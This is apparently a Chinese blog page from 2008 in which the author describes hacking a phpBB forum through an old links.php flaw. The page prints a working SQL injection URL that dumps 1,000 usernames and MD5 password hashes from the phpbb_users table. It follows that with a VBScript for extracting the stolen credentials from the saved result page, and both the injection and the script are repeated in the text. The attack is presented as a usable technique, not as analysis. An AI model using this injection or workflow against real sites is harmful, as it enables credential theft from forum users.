一段提取用戶名和md5的vbs代碼
更新時(shí)間：2008年10月24日 00:51:28 作者：
搞了個(gè)phpbb的站，用的是很老的links.php漏洞了。
注入代碼如下:
links.php?t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit 0,1000/*
這樣就提取了1000個(gè)用戶名和md5，將上邊的保存成htm，要挨個(gè)提取出md5和用戶名很麻煩，寫了段代碼。這段代碼我很滿意，估計(jì)是最簡單的提取方法了，呵呵。
代碼如下：
'用法示例：cscript //Nologo this.vbs c:\11000.htm >c:\1.txt
on error resume Next
Set ie=WScript.CreateObject("InternetExplorer.Application")
set arg=wscript.arguments
if arg.count=0 then wscript.quit
ie.visible=false
ie.navigate arg(0)
While ie.Busy
WScript.Sleep 100
Wend
Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4
For i=12 To ie.Document.links.length-2
data=ie.Document.links(i).innerText
If data <>13 Then
wscript.echo data
wscript.echo ie.Document.links(i).alt
End if
next
msgbox "轉(zhuǎn)換完畢"
links.php?t=search&search_keywords=asd&start=1,1 UNION SELECT 1,username,user_password,4,5,6,7,8,9,10,11,12,13 FROM phpbb_users where user_id limit 0,1000/*
這樣就提取了1000個(gè)用戶名和md5，將上邊的保存成htm，要挨個(gè)提取出md5和用戶名很麻煩，寫了段代碼。這段代碼我很滿意，估計(jì)是最簡單的提取方法了，呵呵。
代碼如下：
'用法示例：cscript //Nologo this.vbs c:\11000.htm >c:\1.txt
復(fù)制代碼 代碼如下:
on error resume Next
Set ie=WScript.CreateObject("InternetExplorer.Application")
set arg=wscript.arguments
if arg.count=0 then wscript.quit
ie.visible=false
ie.navigate arg(0)
While ie.Busy
WScript.Sleep 100
Wend
Do
Wscript.Sleep 200
Loop Until ie.ReadyState=4
For i=12 To ie.Document.links.length-2
data=ie.Document.links(i).innerText
If data <>13 Then
wscript.echo data
wscript.echo ie.Document.links(i).alt
End if
next
msgbox "轉(zhuǎn)換完畢"
相關(guān)文章
VBS中SendKeys的基本應(yīng)用...2006-11-11
VBS教程：方法-ReadAll 方法...2006-11-11
本地連接禁用/啟用批處理腳本...2007-03-03
VBS編程教程 (第4篇)...2007-07-07
這個(gè)VBS是用來將一個(gè)本地網(wǎng)頁中的URL篩選出來并保存在新的網(wǎng)頁文件中。當(dāng)然，只要改變里面的正則表達(dá)式，就可以作其他用途了。2009-08-08
右鍵發(fā)送(sendto)，創(chuàng)建快捷方式到自定義的位置 的vbs
右鍵發(fā)送(sendto)，創(chuàng)建快捷方式到自定義的位置 的vbs...2007-03-03
用vbs實(shí)現(xiàn)注冊表開關(guān)的腳本
注冊表開關(guān)[以下代碼保存為.vbs]2008-06-06
VBS教程：函數(shù)-IsArray 函數(shù)...2006-11-11
VBS教程：函數(shù)-數(shù)學(xué)函數(shù)
VBS教程：函數(shù)-數(shù)學(xué)函數(shù)...2006-11-11
vbs 中調(diào)用shell.application 簡單函數(shù)
vbs實(shí)現(xiàn)的調(diào)用系統(tǒng)命令執(zhí)行的函數(shù)，可以根據(jù)用戶選擇運(yùn)行指定的程序2008-06-06